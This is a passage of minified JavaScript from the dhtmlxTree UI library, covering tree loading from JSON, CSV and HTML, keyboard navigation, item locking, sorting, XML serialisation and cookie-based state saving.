/>\";e.span.style.paddingRight=e.span.style.paddingLeft=\"0px\";e.span.onclick=e.span.ondblclick=function(l){(l||event).cancelBubble=true};e.span.childNodes[0].value=g;e.span.childNodes[0].onselectstart=function(l){(l||event).cancelBubble=true;return true};e.span.childNodes[0].onmousedown=function(l){(l||event).cancelBubble=true;return true};e.span.childNodes[0].focus();e.span.childNodes[0].focus();e.span.onclick=function(l){(l||event).cancelBubble=true;return false};e.span.className=\"\";e.span.parentNode.className=\"\";var c=this;e.span.childNodes[0].onkeydown=function(l){if(!l){l=window.event}if(l.keyCode==13){l.cancelBubble=true;c._stopEdit(window.undefined)}else{if(l.keyCode==27){c._stopEdit(window.undefined,true)}}(l||event).cancelBubble=true};this.callEvent(\"onEdit\",[1,h,this])}};function jsonPointer(c,a){this.d=c;this.dp=a}jsonPointer.prototype={text:function(){var a=function(h){var g=[];for(var e=0;e<h.length;e++){g.push(\"{\"+c(h[e])+\"}\")}return g.join(\",\")};var c=function(h){var g=[];for(var e in h){if(typeof(h[e])==\"object\"){if(e.length){g.push('\"'+e+'\":['+a(h[e])+\"]\")}else{g.push('\"'+e+'\":{'+c(h[e])+\"}\")}}else{g.push('\"'+e+'\":\"'+h[e]+'\"')}}return g.join(\",\")};return\"{\"+c(this.d)+\"}\"},get:function(a){return this.d[a]},exists:function(){return !!this.d},content:function(){return this.d.content},each:function(g,m,l){var e=this.d[g];var n=new jsonPointer();if(e){for(var h=0;h<e.length;h++){n.d=e[h];m.apply(l,[n,h])}}},get_all:function(){return this.d},sub:function(a){return new jsonPointer(this.d[a],this.d)},sub_exists:function(a){return !!this.d[a]},each_x:function(g,n,m,l,h){var e=this.d[g];var o=new jsonPointer(0,this.d);if(e){for(h=h||0;h<e.length;h++){if(e[h][n]){o.d=e[h];if(m.apply(l,[o,h])==-1){return}}}}},up:function(a){return new jsonPointer(this.dp,this.d)},set:function(a,c){this.d[a]=c},clone:function(a){return new jsonPointer(this.d,this.dp)},through:function(e,m,q,h,r){var n=this.d[e];if(n.length){for(var g=0;g<n.length;g++){if(n[g][m]!=null&&n[g][m]!=\"\"&&(!q||n[g][m]==q)){var l=new jsonPointer(n[g],this.d);h.apply(r,[l,g])}var o=this.d;this.d=n[g];if(this.sub_exists(e)){this.through(e,m,q,h,r)}this.d=o}}}};dhtmlXTreeObject.prototype.loadJSArrayFile=function(file,callback){if(!this.parsCount){this.callEvent(\"onXLS\",[this,this._ld_id])}this._ld_id=null;this.xmlstate=1;var that=this;this.XMLLoader=function(xml,callback){eval(\"var z=\"+xml.responseText);this.loadJSArray(z);if(callback){callback.call(this,xml)}};dhx4.ajax.get(file,function(obj){that.XMLLoader(obj.xmlDoc,callback)})};dhtmlXTreeObject.prototype.loadCSV=function(a,e){if(!this.parsCount){this.callEvent(\"onXLS\",[this,this._ld_id])}this._ld_id=null;this.xmlstate=1;var c=this;this.XMLLoader=function(g,h){this.loadCSVString(g.responseText);if(h){h.call(this,g)}};dhx4.ajax.get(a,function(g){c.XMLLoader(g.xmlDoc,e)})};dhtmlXTreeObject.prototype.loadJSArray=function(a,g){var l=[];for(var c=0;c<a.length;c++){if(!l[a[c][1]]){l[a[c][1]]=[]}l[a[c][1]].push({id:a[c][0],text:a[c][2]})}var h={id:this.rootId};var e=function(o,n){if(l[o.id]){o.item=l[o.id];for(var m=0;m<o.item.length;m++){n(o.item[m],n)}}};e(h,e);this.loadJSONObject(h,g)};dhtmlXTreeObject.prototype.loadCSVString=function(a,l){var n=[];var c=a.split(\"\\n\");for(var g=0;g<c.length;g++){var e=c[g].split(\",\");if(!n[e[1]]){n[e[1]]=[]}n[e[1]].push({id:e[0],text:e[2]})}var m={id:this.rootId};var h=function(r,q){if(n[r.id]){r.item=n[r.id];for(var o=0;o<r.item.length;o++){q(r.item[o],q)}}};h(m,h);this.loadJSONObject(m,l)};dhtmlXTreeObject.prototype.loadJSONObject=function(a,c){if(!this.parsCount){this.callEvent(\"onXLS\",[this,null])}this.xmlstate=1;var e=new jsonPointer(a);this._parse(e);this._p=e;if(c){c()}};dhtmlXTreeObject.prototype.loadJSON=function(file,callback){if(!this.parsCount){this.callEvent(\"onXLS\",[this,this._ld_id])}this._ld_id=null;this.xmlstate=1;var that=this;this.XMLLoader=function(xml,callback){try{eval(\"var t=\"+xml.responseText)}catch(e){dhx4.callEvent(\"onLoadXMLerror\",[\"Incorrect JSON\",(xml),this]);return}var p=new jsonPointer(t);this._parse(p);this._p=p;if(callback){callback.call(this,xml)}};dhx4.ajax.get(file,function(obj){that.XMLLoader(obj.xmlDoc,callback)})};dhtmlXTreeObject.prototype.serializeTreeToJSON=function(){var a=['{\"id\":\"'+this.rootId+'\", \"item\":['];var e=[];for(var c=0;c<this.htmlNode.childsCount;c++){e.push(this._serializeItemJSON(this.htmlNode.childNodes[c]))}a.push(e.join(\",\"));a.push(\"]}\");return a.join(\"\")};dhtmlXTreeObject.prototype._serializeItemJSON=function(m){var a=[];if(m.unParsed){return(m.unParsed.text())}if(this._selected.length){var e=this._selected[0].id}else{e=\"\"}var l=m.span.innerHTML;l=l.replace(/\\\"/g,'\\\\\"',l);if(!this._xfullXML){a.push('{ \"id\":\"'+m.id+'\", '+(this._getOpenState(m)==1?' \"open\":\"1\", ':\"\")+(e==m.id?' \"select\":\"1\",':\"\")+' \"text\":\"'+l+'\"'+(((this.XMLsource)&&(m.XMLload==0))?', \"child\":\"1\" ':\"\"))}else{a.push('{ \"id\":\"'+m.id+'\", '+(this._getOpenState(m)==1?' \"open\":\"1\", ':\"\")+(e==m.id?' \"select\":\"1\",':\"\")+' \"text\":\"'+l+'\", \"im0\":\"'+m.images[0]+'\", \"im1\":\"'+m.images[1]+'\", \"im2\":\"'+m.images[2]+'\" '+(m.acolor?(', \"aCol\":\"'+m.acolor+'\" '):\"\")+(m.scolor?(', \"sCol\":\"'+m.scolor+'\" '):\"\")+(m.checkstate==1?', \"checked\":\"1\" ':(m.checkstate==2?', \"checked\":\"-1\"':\"\"))+(m.closeable?', \"closeable\":\"1\" ':\"\")+(((this.XMLsource)&&(m.XMLload==0))?', \"child\":\"1\" ':\"\"))}if((this._xuserData)&&(m._userdatalist)){a.push(', \"userdata\":[');var h=m._userdatalist.split(\",\");var g=[];for(var c=0;c<h.length;c++){g.push('{ \"name\":\"'+h[c]+'\" , \"content\":\"'+m.userData[\"t_\"+h[c]]+'\" }')}a.push(g.join(\",\"));a.push(\"]\")}if(m.childsCount){a.push(', \"item\":[');var g=[];for(var c=0;c<m.childsCount;c++){g.push(this._serializeItemJSON(m.childNodes[c]))}a.push(g.join(\",\"));a.push(\"]\\n\")}a.push(\"}\\n\");return a.join(\"\")};function dhtmlXTreeFromHTML(obj){if(typeof(obj)!=\"object\"){obj=document.getElementById(obj)}var n=obj;var id=n.id;var cont=\"\";for(var j=0;j<obj.childNodes.length;j++){if(obj.childNodes[j].nodeType==\"1\"){if(obj.childNodes[j].tagName==\"XMP\"){var cHead=obj.childNodes[j];for(var m=0;m<cHead.childNodes.length;m++){cont+=cHead.childNodes[m].data}}else{if(obj.childNodes[j].tagName.toLowerCase()==\"ul\"){cont=dhx_li2trees(obj.childNodes[j],new Array(),0)}}break}}obj.innerHTML=\"\";var t=new dhtmlXTreeObject(obj,\"100%\",\"100%\",0);var z_all=new Array();for(b in t){z_all[b.toLowerCase()]=b}var atr=obj.attributes;for(var a=0;a<atr.length;a++){if((atr[a].name.indexOf(\"set\")==0)||(atr[a].name.indexOf(\"enable\")==0)){var an=atr[a].name;if(!t[an]){an=z_all[atr[a].name]}t[an].apply(t,atr[a].value.split(\",\"))}}if(typeof(cont)==\"object\"){t.XMLloadingWarning=1;for(var i=0;i<cont.length;i++){var n=t.insertNewItem(cont[i][0],cont[i][3],cont[i][1]);if(cont[i][2]){t._setCheck(n,cont[i][2])}}t.XMLloadingWarning=0;t.lastLoadedXMLId=0;t._redrawFrom(t)}else{t.loadXMLString(\"<tree id='0'>\"+cont+\"</tree>\")}window[id]=t;var oninit=obj.getAttribute(\"oninit\");if(oninit){eval(oninit)}return t}function dhx_init_trees(){var c=document.getElementsByTagName(\"div\");for(var a=0;a<c.length;a++){if(c[a].className==\"dhtmlxTree\"){dhtmlXTreeFromHTML(c[a])}}}function dhx_li2trees(r,l,e){for(var m=0;m<r.childNodes.length;m++){var q=r.childNodes[m];if((q.nodeType==1)&&(q.tagName.toLowerCase()==\"li\")){var o=\"\";var n=null;var a=q.getAttribute(\"checked\");for(var h=0;h<q.childNodes.length;h++){var g=q.childNodes[h];if(g.nodeType==3){o+=g.data}else{if(g.tagName.toLowerCase()!=\"ul\"){o+=dhx_outer_html(g)}else{n=g}}}l[l.length]=[e,o,a,(q.id||(l.length+1))];if(n){l=dhx_li2trees(n,l,(q.id||l.length))}}}return l}function dhx_outer_html(c){if(c.outerHTML){return c.outerHTML}var a=document.createElement(\"DIV\");a.appendChild(c.cloneNode(true));a=a.innerHTML;return a}if(window.addEventListener){window.addEventListener(\"load\",dhx_init_trees,false)}else{if(window.attachEvent){window.attachEvent(\"onload\",dhx_init_trees)}}dhtmlXTreeObject.prototype.parserExtension={_parseExtension:function(g,c,e){this._idpull[c.id]._attrs=c}};dhtmlXTreeObject.prototype.getAttribute=function(e,a){this._globalIdStorageFind(e);var c=this._idpull[e]._attrs;return c?c[a]:window.undefined};dhtmlXTreeObject.prototype.setAttribute=function(g,a,e){this._globalIdStorageFind(g);var c=(this._idpull[g]._attrs)||{};c[a]=e;this._idpull[g]._attrs=c};dhtmlXTreeObject.prototype.enableKeyboardNavigation=function(e){this._enblkbrd=dhx4.s2b(e);if(this._enblkbrd){if(_isFF){var c=window.getComputedStyle(this.parentObject,null)[\"position\"];if((c!=\"absolute\")&&(c!=\"relative\")){this.parentObject.style.position=\"relative\"}}this._navKeys=[[\"up\",38],[\"down\",40],[\"open\",39],[\"close\",37],[\"call\",13],[\"edit\",113]];var a=this;var c=document.createElement(\"INPUT\");c.className=\"a_dhx_hidden_input\";c.autocomplete=\"off\";if(window._KHTMLrv){c.style.color=\"white\"}this.parentObject.appendChild(c);this.parentObject[_isOpera?\"onkeypress\":\"onkeydown\"]=function(g){if(a.callEvent(\"onKeyPress\",[(g||window.event).keyCode,(g||window.event)])){return a._onKeyDown(g||window.event)}};this.parentObject.onclick=function(g){if(_isFF||_isIE){c.select()}if(window._KHTMLrv||_isOpera){c.focus()}}}else{this.parentObject.onkeydown=null}};dhtmlXTreeObject.prototype._onKeyDown=function(g){if(window.globalActiveDHTMLGridObject&&globalActiveDHTMLGridObject.isActive){return true}var a=this;for(var c=0;c<this._navKeys.length;c++){if(this._navKeys[c][1]==g.keyCode){this[\"_onkey_\"+this._navKeys[c][0]].apply(this,[this.getSelectedItemId()]);if(g.preventDefault){g.preventDefault()}(g||event).cancelBubble=true;return false}}if(this._textSearch){return this._searchItemByKey(g)}return true};dhtmlXTreeObject.prototype._onkey_up=function(e){var a=this._globalIdStorageFind(e);if(!a){return}var c=this._getPrevVisibleNode(a);if(c.id==this.rootId){return}this.focusItem(c.id);this.selectItem(c.id,false)};dhtmlXTreeObject.prototype._onkey_down=function(e){var a=this._globalIdStorageFind(e);if(!a){return}var c=this._getNextVisibleNode(a);if(c.id==this.rootId){return}this.focusItem(c.id);this.selectItem(c.id,false)};dhtmlXTreeObject.prototype._onkey_open=function(a){this.openItem(a)};dhtmlXTreeObject.prototype._onkey_close=function(a){this.closeItem(a)};dhtmlXTreeObject.prototype._onkey_call=function(a){if(this.stopEdit){this.stopEdit();this.parentObject.lastChild.focus();this.parentObject.lastChild.focus();this.selectItem(a,true)}else{this.selectItem(this.getSelectedItemId(),true)}};dhtmlXTreeObject.prototype._onkey_edit=function(a){if(this.editItem){this.editItem(a)}};dhtmlXTreeObject.prototype._getNextVisibleNode=function(a,c){if((!c)&&(this._getOpenState(a)>0)){return a.childNodes[0]}if((a.tr)&&(a.tr.nextSibling)&&(a.tr.nextSibling.nodem)){return a.tr.nextSibling.nodem}if(a.parentObject){return this._getNextVisibleNode(a.parentObject,1)}return a};dhtmlXTreeObject.prototype._getPrevVisibleNode=function(a){if((a.tr)&&(a.tr.previousSibling)&&(a.tr.previousSibling.nodem)){return this._lastVisibleChild(a.tr.previousSibling.nodem)}if(a.parentObject){return a.parentObject}else{return a}};dhtmlXTreeObject.prototype._lastVisibleChild=function(a){if(this._getOpenState(a)>0){return this._lastVisibleChild(a.childNodes[a.childsCount-1])}else{return a}};dhtmlXTreeObject.prototype._searchItemByKey=function(c){if(c.keyCode==8){this._textSearchString=\"\";return true}var a=String.fromCharCode(c.keyCode).toUpperCase();if(a.match(/[A-Z,a-z,0-9\\ ]/)){this._textSearchString+=a;this._textSearchInProgress=true;if(!(this.getSelectedItemText()||\"\").match(RegExp(\"^\"+this._textSearchString,\"i\"))){this.findItem(this._textSearchString,0)}this._textSearchInProgress=false;if(c.preventDefault){c.preventDefault()}(c||event).cancelBubble=true;return false}return true};dhtmlXTreeObject.prototype.assignKeys=function(a){this._navKeys=a};dhtmlXTreeObject.prototype.enableKeySearch=function(c){this._textSearch=dhx4.s2b(c);if(!this._textSearch){return}this._textSearchString=\"\";var a=this;this._markItem2=this._markItem;this._markItem=function(e){if(!a._textSearchInProgress){a._textSearchString=\"\"}a._markItem2(e)}};dhtmlXTreeObject.prototype.enableLoadingItem=function(a){this.attachEvent(\"onXLS\",this._showFakeItem);this.attachEvent(\"onXLE\",this._hideFakeItem);this._tfi_text=a||\"Loading...\"};dhtmlXTreeObject.prototype._showFakeItem=function(a,e){if((e===null)||(this._globalIdStorageFind(\"fake_load_xml_\"+e))){return}var c=this.XMLsource;this.XMLsource=null;this.insertNewItem(e,\"fake_load_xml_\"+e,this._tfi_text);this.XMLsource=c};dhtmlXTreeObject.prototype._hideFakeItem=function(a,c){if(c===null){return}this.deleteItem(\"fake_load_xml_\"+c)};dhtmlXTreeObject.prototype.isLocked=function(a){if(!this._locker){this._init_lock()}return(this._locker[a]==true)};dhtmlXTreeObject.prototype._lockItem=function(a,h,c){if(!this._locker){this._init_lock()}if(h){if(this._locker[a.id]==true){return}this._locker[a.id]=true;a.bIm0=a.images[0];a.bIm1=a.images[1];a.bIm2=a.images[2];a.images[0]=this.lico0;a.images[1]=this.lico1;a.images[2]=this.lico2;var g=a.span.parentNode;var e=g.previousSibling;this.dragger.removeDraggableItem(g);this.dragger.removeDraggableItem(e)}else{if(this._locker[a.id]!=true){return}this._locker[a.id]=false;a.images[0]=a.bIm0;a.images[1]=a.bIm1;a.images[2]=a.bIm2;var g=a.span.parentNode;var e=g.previousSibling;this.dragger.addDraggableItem(g,this);this.dragger.addDraggableItem(e,this)}if(!c){this._correctPlus(a)}};dhtmlXTreeObject.prototype.lockItem=function(e,c){if(!this._locker){this._init_lock()}this._lockOn=false;var a=this._globalIdStorageFind(e);this._lockOn=true;this._lockItem(a,dhx4.s2b(c))};dhtmlXTreeObject.prototype.setLockedIcons=function(e,c,a){if(!this._locker){this._init_lock()}this.lico0=e;this.lico1=c;this.lico2=a};dhtmlXTreeObject.prototype._init_lock=function(){this._locker=new Array();this._locker_count=\"0\";this._lockOn=true;this._globalIdStorageFindA=this._globalIdStorageFind;this._globalIdStorageFind=this._lockIdFind;if(this._serializeItem){this._serializeItemA=this._serializeItem;this._serializeItem=this._serializeLockItem;this._serializeTreeA=this.serializeTree;this.serializeTree=this._serializeLockTree}this.setLockedIcons(this.imageArray[0],this.imageArray[1],this.imageArray[2])};dhtmlXTreeObject.prototype._lockIdFind=function(e,a,c){if(!this.skipLock){if((!c)&&(this._lockOn==true)&&(this._locker[e]==true)){return null}}return this._globalIdStorageFindA(e,a,c)};dhtmlXTreeObject.prototype._serializeLockItem=function(a){if(this._locker[a.id]==true){return\"\"}return this._serializeItemA(a)};dhtmlXTreeObject.prototype._serializeLockTree=function(){var a=this._serializeTreeA();return a.replace(/<item[^>]+locked\\=\\\"1\\\"[^>]+\\/>/g,\"\")};dhtmlXTreeObject.prototype._moveNodeToA=dhtmlXTreeObject.prototype._moveNodeTo;dhtmlXTreeObject.prototype._moveNodeTo=function(a,e,c){if((e.treeNod.isLocked)&&(e.treeNod.isLocked(e.id))){return false}return this._moveNodeToA(a,e,c)};dhtmlXTreeObject.prototype.lockTree=function(a){if(dhx4.s2b(a)){this._initTreeLocker()}else{if(this._TreeLocker){this._TreeLocker.parentNode.removeChild(this._TreeLocker);this._TreeLocker=null}}};dhtmlXTreeObject.prototype._initTreeLocker=function(a){if(this._TreeLocker){return}this.parentObject.style.overflow=\"hidden\";if(this.parentObject.style.position!=\"absolute\"){this.parentObject.style.position=\"relative\"}var c=document.createElement(\"div\");c.style.position=\"absolute\";c.style.left=\"0px\";c.style.top=\"0px\";c.className=\"dhx_tree_opacity\";c.style.width=this.allTree.offsetWidth+\"px\";c.style.backgroundColor=\"#FFFFFF\";c.style.height=this.allTree.offsetHeight+\"px\";this._TreeLocker=c;this.parentObject.appendChild(this._TreeLocker)};dhtmlXTreeObject.prototype.enableRTL=function(c){var a=dhx4.s2b(c);if(((a)&&(!this.rtlMode))||((!a)&&(this.rtlMode))){this.rtlMode=a;this._switchToRTL(this.rtlMode)}};dhtmlXTreeObject.prototype._switchToRTL=function(a){if(a){this.allTree.className=this._ltr_line=this.lineArray;this._ltr_min=this.minusArray;this._ltr_plus=this.plusArray;this.lineArray=new Array(\"line2_rtl.gif\",\"line3_rtl.gif\",\"line4_rtl.gif\",\"blank.gif\",\"blank.gif\",\"line1_rtl.gif\");this.minusArray=new Array(\"minus2_rtl.gif\",\"minus3_rtl.gif\",\"minus4_rtl.gif\",\"minus.gif\",\"minus5_rtl.gif\");this.plusArray=new Array(\"plus2_rtl.gif\",\"plus3_rtl.gif\",\"plus4_rtl.gif\",\"plus.gif\",\"plus5_rtl.gif\");this.allTree.className=\"containerTableStyleRTL\"}else{this.allTree.className=\"containerTableStyle\";this.lineArray=this._ltr_line;this.minusArray=this._ltr_min;this.plusArray=this._ltr_plus}if(this.htmlNode.childsCount){this._redrawFrom(this,this.htmlNode)}};dhtmlXTreeObject.prototype.sortTree=function(g,c,e){var a=this._globalIdStorageFind(g);if(!a){return false}this._reorderBranch(a,(c.toString().toLowerCase()==\"asc\"),dhx4.s2b(e))};dhtmlXTreeObject.prototype.setCustomSortFunction=function(a){this._csfunca=a};dhtmlXTreeObject.prototype._reorderBranch=function(n,c,o){var a=[];var l=n.childsCount;if(!l){return}var h=n.childNodes[0].tr.parentNode;for(var g=0;g<l;g++){a[g]=n.childNodes[g];h.removeChild(a[g].tr)}var e=this;if(c==1){if(this._csfunca){a.sort(function(q,m){return e._csfunca(q.id,m.id)})}else{a.sort(function(q,m){return((q.span.innerHTML.toUpperCase()>m.span.innerHTML.toUpperCase())?1:((q.span.innerHTML.toUpperCase()==m.span.innerHTML.toUpperCase())?0:-1))})}}else{if(this._csfunca){a.sort(function(q,m){return e._csfunca(m.id,q.id)})}else{a.sort(function(q,m){return((q.span.innerHTML.toUpperCase()<m.span.innerHTML.toUpperCase())?1:((q.span.innerHTML.toUpperCase()==m.span.innerHTML.toUpperCase())?0:-1))})}}for(var g=0;g<l;g++){h.appendChild(a[g].tr);n.childNodes[g]=a[g];if((o)&&(a[g].unParsed)){a[g].unParsed.set(\"order\",c?1:-1)}else{if((o)&&(a[g].childsCount)){this._reorderBranch(a[g],c,o)}}}for(var g=0;g<l;g++){this._correctPlus(a[g]);this._correctLine(a[g])}};dhtmlXTreeObject.prototype._reorderXMLBranch=function(l){var n=l.getAttribute(\"order\");if(n==\"none\"){return}var c=(n==1);var h=l.childNodes.length;if(!h){return}var a=new Array();var e=0;for(var g=0;g<h;g++){if(l.childNodes[g].nodeType==1){a[e]=l.childNodes[g];e++}}for(var g=h-1;g!=0;g--){l.removeChild(l.childNodes[g])}if(c){a.sort(function(o,m){return((o.getAttribute(\"text\")>m.getAttribute(\"text\"))?1:((o.getAttribute(\"text\")==m.getAttribute(\"text\"))?0:-1))})}else{a.sort(function(o,m){return((o.getAttribute(\"text\")<m.getAttribute(\"text\"))?1:((o.getAttribute(\"text\")==m.getAttribute(\"text\"))?0:-1))})}for(var g=0;g<e;g++){a[g].setAttribute(\"order\",n);l.appendChild(a[g])}l.setAttribute(\"order\",\"none\")};dhtmlXTreeObject.prototype._serEnts=[[\"&\",\"&amp;\"],[\"<\",\"&lt;\"],[\">\",\"&gt;\"]];dhtmlXTreeObject.prototype.registerXMLEntity=function(a,c){this._serEnts[this._serEnts.length]=[a,c,new RegExp(a,\"g\")]};dhtmlXTreeObject.prototype.setSerializationLevel=function(a,c,h,l,e){this._xuserData=dhx4.s2b(a);this._xfullXML=dhx4.s2b(c);this._dtd=e;this._xescapeEntities=dhx4.s2b(h);if(dhx4.s2b(l)){this._apreUC=\"<![CDATA[\";this._apstUC=\"]]>\"}else{}for(var g=0;g<this._serEnts.length;g++){this._serEnts[g][2]=new RegExp(this._serEnts[g][0],\"g\")}};dhtmlXTreeObject.prototype.serializeTree=function(){if(this.stopEdit){this.stopEdit()}this._apreUC=this._apreUC||\"\";this._apstUC=this._apstUC||\"\";var a='<?xml version=\"1.0\"?>';if(this._dtd){a+='<!DOCTYPE tree SYSTEM \"'+this._dtd+'\">'}a+='<tree id=\"'+this.rootId+'\">';if((this._xuserData)&&(this._idpull[this.rootId]._userdatalist)){var e=this._idpull[this.rootId]._userdatalist.split(\",\");for(var c=0;c<e.length;c++){a+='<userdata name=\"'+e[c]+'\">'+this._apreUC+this._idpull[this.rootId].userData[\"t_\"+e[c]]+this._apstUC+\"</userdata>\"}}for(var c=0;c<this.htmlNode.childsCount;c++){a+=this._serializeItem(this.htmlNode.childNodes[c])}a+=\"</tree>\";return a};dhtmlXTreeObject.prototype._serializeItem=function(m){if(m.unParsed){if(document.all){return m.unParsed.d.xml}else{var a=new XMLSerializer();return a.serializeToString(m.unParsed.d)}}var c=\"\";if(this._selected.length){var g=this._selected[0].id}else{g='\"'}var l=m.span.innerHTML;if(this._xescapeEntities){for(var e=0;e<this._serEnts.length;e++){l=l.replace(this._serEnts[e][2],this._serEnts[e][1])}}if(!this._xfullXML){c='<item id=\"'+m.id+'\" '+(this._getOpenState(m)==1?' open=\"1\" ':\"\")+(g==m.id?' select=\"1\"':\"\")+' text=\"'+l+'\"'+(((this.XMLsource)&&(m.XMLload==0))?' child=\"1\" ':\"\")+\">\"}else{c='<item id=\"'+m.id+'\" '+(this._getOpenState(m)==1?' open=\"1\" ':\"\")+(g==m.id?' select=\"1\"':\"\")+' text=\"'+l+'\" im0=\"'+m.images[0]+'\" im1=\"'+m.images[1]+'\" im2=\"'+m.images[2]+'\" '+(m.acolor?('aCol=\"'+m.acolor+'\" '):\"\")+(m.scolor?('sCol=\"'+m.scolor+'\" '):\"\")+(m.checkstate==1?'checked=\"1\" ':(m.checkstate==2?'checked=\"-1\"':\"\"))+(m.closeable?'closeable=\"1\" ':\"\")+(((this.XMLsource)&&(m.XMLload==0))?' child=\"1\" ':\"\")+\">\"}if((this._xuserData)&&(m._userdatalist)){var h=m._userdatalist.split(\",\");for(var e=0;e<h.length;e++){c+='<userdata name=\"'+h[e]+'\">'+this._apreUC+m.userData[\"t_\"+h[e]]+this._apstUC+\"</userdata>\"}}for(var e=0;e<m.childsCount;e++){c+=this._serializeItem(m.childNodes[e])}c+=\"</item>\";return c};dhtmlXTreeObject.prototype.saveSelectedItem=function(c,a){c=c||\"\";this.setCookie(\"treeStateSelected\"+c,this.getSelectedItemId(),a)};dhtmlXTreeObject.prototype.restoreSelectedItem=function(a){a=a||\"\";var c=this.getCookie(\"treeStateSelected\"+a);this.selectItem(c,false)};dhtmlXTreeObject.prototype.enableAutoSavingSelected=function(a,c){this.assMode=dhx4.s2b(a);if((this.assMode)&&(!this.oldOnSelect)){this.oldOnSelect=this.onRowSelect;this.onRowSelect=function(h,g,l){if(!g){g=this}g.parentObject.treeNod.oldOnSelect(h,g,l);if(g.parentObject.treeNod.assMode){g.parentObject.treeNod.saveSelectedItem(g.parentObject.treeNod.assCookieName)}}}this.assCookieName=c};dhtmlXTreeObject.prototype.saveState=function(e,c){var h=this._escape(this.serializeTree());var a=4000;if(h.length>a){if(navigator.appName.indexOf(\"Microsoft\")!=-1){return false}this.setCookie(\"treeStatex\"+e,Math.ceil(h.length/a));for(var g=0;g<Math.ceil(h.length/a);g++){this.setCookie(\"treeStatex\"+e+\"x\"+g,h.substr(g*a,a),c)}}else{this.setCookie(\"treeStatex\"+e,h,c)}var h=this.getCookie(\"treeStatex\"+e);if(!h){this.setCookie(\"treeStatex\"+e,\"\",c);return false}return true};dhtmlXTreeObject.prototype.loadState=function(a){var g=this.getCookie(\"treeStatex\"+a);if(!g){return false}if(g.length){if(g.toString().length<4){var e=\"\";for(var c=0;c<g;c++){e+=this.getCookie(\"treeStatex\"+a+\"x\"+c)}g=e}this.loadXMLString((this.utfesc==\"utf8\")?decodeURI(g):unescape(g))}return true};dhtmlXTreeObject.prototype.setCookie=function(c,e,a){var g=c+\"=\"+e+(a?(\"; \"+a):\"\");document.cookie=g};dhtmlXTreeObject.prototype.getCookie=function(c){var e=c+\"=\";if(document.cookie.length>0){var g=document.cookie.indexOf(e);if(g!=-1){g+=e.length;var a=document.cookie.indexOf(\";\",g);if(a==-1){a=document.cookie.length}return document.cookie.substring(g,a)}}};dhtmlXTreeObject.prototype.saveOpenStates=function(c,a){var g=[];for(var e=0;e<this.htmlNode.childsCount;e++){g=g.concat(this._collectOpenStates(this.htmlNode.childNodes[e]))}g=g.join(this.dlmtr);this.setCookie(\"treeOpenStatex\"+c,g,a)};dhtmlXTreeObject.prototype.loadOpenStates=function(c){for(var e=0;e<this.htmlNode.childsCount;e++){this._xcloseAll(this.htmlNode.childNodes[e])}this.allTree.childNodes[0].border=\"1\";this.allTree.childNodes[0].border=\"0\";var h=getCookie(\"treeOpenStatex\"+c);if(h){var a=h.split(this.dlmtr);for(var e=0;e<a.length;e++){var g=this._globalIdStorageFind(a[e]);if(g){if((this.XMLsource)&&(!g.XMLload)&&(g.id!=this.rootId)){this._delayedLoad(g,\"loadOpenStates('\"+c+\"')\");return}else{this.openItem(a[e])}}}}this.callEvent(\"onAllOpenDynamic\",[])};dhtmlXTreeObject.prototype._delayedLoad=function(c,a){this.afterLoadMethod=a;this.onLoadReserve=this.onXLE;this.onXLE=this._delayedLoadStep2;this._loadDynXML(c.id)};dhtmlXTreeObject.prototype._delayedLoadStep2=function(tree){tree.onXLE=tree.onLoadReserve;window.setTimeout(function(){dhtmlx.temp=tree;eval(\"dhtmlx.temp.\"+tree.afterLoadMethod)},100);if(tree.onXLE){tree.onXLE(tree)}tree.callEvent(\"onXLE\",[tree])};dhtmlXTreeObject.prototype._collectOpenStates=function(c){var e=[];if(this._getOpenState(c)==1){e.push(c.id);for(var a=0;a<c.childsCount;a++){e=e.concat(this._collectOpenStates(c.childNodes[a]))}}return e};function setCookie(a,c){document.cookie=a+\"=\"+c}function getCookie(c){var e=c+\"=\";if(document.cookie.length>0){var g=document.cookie.indexOf(e);if(g!=-1){g+=e.length;var a=document.cookie.indexOf(\";\",g);if(a==-1){a=document.cookie.length}return(document.cookie.substring(g,a))}}}dhtmlXTreeObject.prototype.openAllItemsDynamic=function(a){this.ClosedElem=new Array();this.G_node=null;var c=this._globalIdStorageFind(a||this.rootId);if(c.id!=this.rootId&&this.getOpenState(c.id)!=0){this.openItem(a)}this._openAllNodeChilds(c,0);if(this.ClosedElem.length>0){this.onLoadReserve=this.onXLE;this.onXLE=this._loadAndOpen;this._loadAndOpen(this)}};dhtmlXTreeObject.prototype._openAllNodeChilds=function(c){if((c.XMLload==0)||(c.unParsed)){this.ClosedElem.push(c)}for(var a=0;a<c.childsCount;a++){if(this._getOpenState(c.childNodes[a])<0){this._HideShow(c.childNodes[a],2)}if(c.childNodes[a].childsCount>0){this._openAllNodeChilds(c.childNodes[a])}if((c.childNodes[a].XMLload==0)||(c.childNodes[a].unParsed)){this.ClosedElem.push(c.childNodes[a])}}};dhtmlXTreeObject.prototype._loadAndOpen=function(a){if(a.G_node){a._openItem(a.G_node);a._openAllNodeChilds(a.G_node);a.G_node=null}if(a.ClosedElem.length>0){a.G_node=a.ClosedElem.shift()}if(a.G_node){if(a.G_node.unParsed){a.reParse(a.G_node)}else{window.setTimeout(function(){a._loadDynXML(a.G_node.id)},100)}}else{a.onXLE=a.onLoadReserve;if(a.onXLE){a.onXLE(a)}a.callEvent(\"onAllOpenDynamic\",[a])}};dhtmlXTreeObject.prototype.openItemsDynamic=function(c,a){if(this.onXLE==this._stepOpen){return}this._opnItmsDnmcFlg=dhx4.s2b(a);this.onLoadReserve=this.onXLE;this.onXLE=this._stepOpen;this.ClosedElem=c.split(\",\").reverse();this._stepOpen(this)};dhtmlXTreeObject.prototype._stepOpen=function(c){if(!c.ClosedElem.length){c.onXLE=c.onLoadReserve;if(c._opnItmsDnmcFlg){c.selectItem(c.G_node,true)}if((c.onXLE)&&(arguments[1])){c.onXLE.apply(c,arguments)}c.callEvent(\"onOpenDynamicEnd\",[]);return}c.G_node=c.ClosedElem.pop();c.skipLock=true;var a=c._globalIdStorageFind(c.G_node);if(a){if(a.XMLload===0){c.openItem(c.G_node)}else{c.openItem(c.G_node);c._stepOpen(c)}}c.skipLock=false};var globalActiveDHTMLGridObject;String.prototype._dhx_trim=function(){return this.replace(/&nbsp;/g,\" \").replace(/(^[ \\t]*)|([ \\t]*$)/g,\"\")};function dhtmlxArray(a){return dhtmlx.extend((a||new Array()),dhtmlxArray._master)}dhtmlxArray._master={_dhx_find:function(c){for(var a=0;a<this.length;a++){if(c==this[a]){return a}}return -1},_dhx_insertAt:function(e,c){this[this.length]=null;for(var 